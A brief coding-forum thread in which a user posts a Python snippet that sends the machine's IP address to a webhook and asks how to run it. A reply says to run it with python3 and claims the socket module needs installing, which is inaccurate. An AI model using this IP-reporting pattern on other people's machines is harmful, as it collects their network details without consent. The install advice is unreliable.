Categories > Coding > Python >
How to run it?
Posted
How to run my code? can you say pls
import requests
import socket
webhook_url = 'mywebhook'
message = socket.gethostbyname(socket.gethostname())
requests.post(webhook_url, json={'content': message})
Why u looking here lol
Replied
python3 yourfilename.py
but make sure you have installed requests and socket module.
Cancel
Post
https://cdn.discordapp.com/attachments/927291995947413515/1092728981884780594/jisll.png
Replied
@65866ty
Cancel
Post
Why u looking here lol
Users viewing this thread:
( Members: 0, Guests: 1, Total: 1 )
Cancel
Post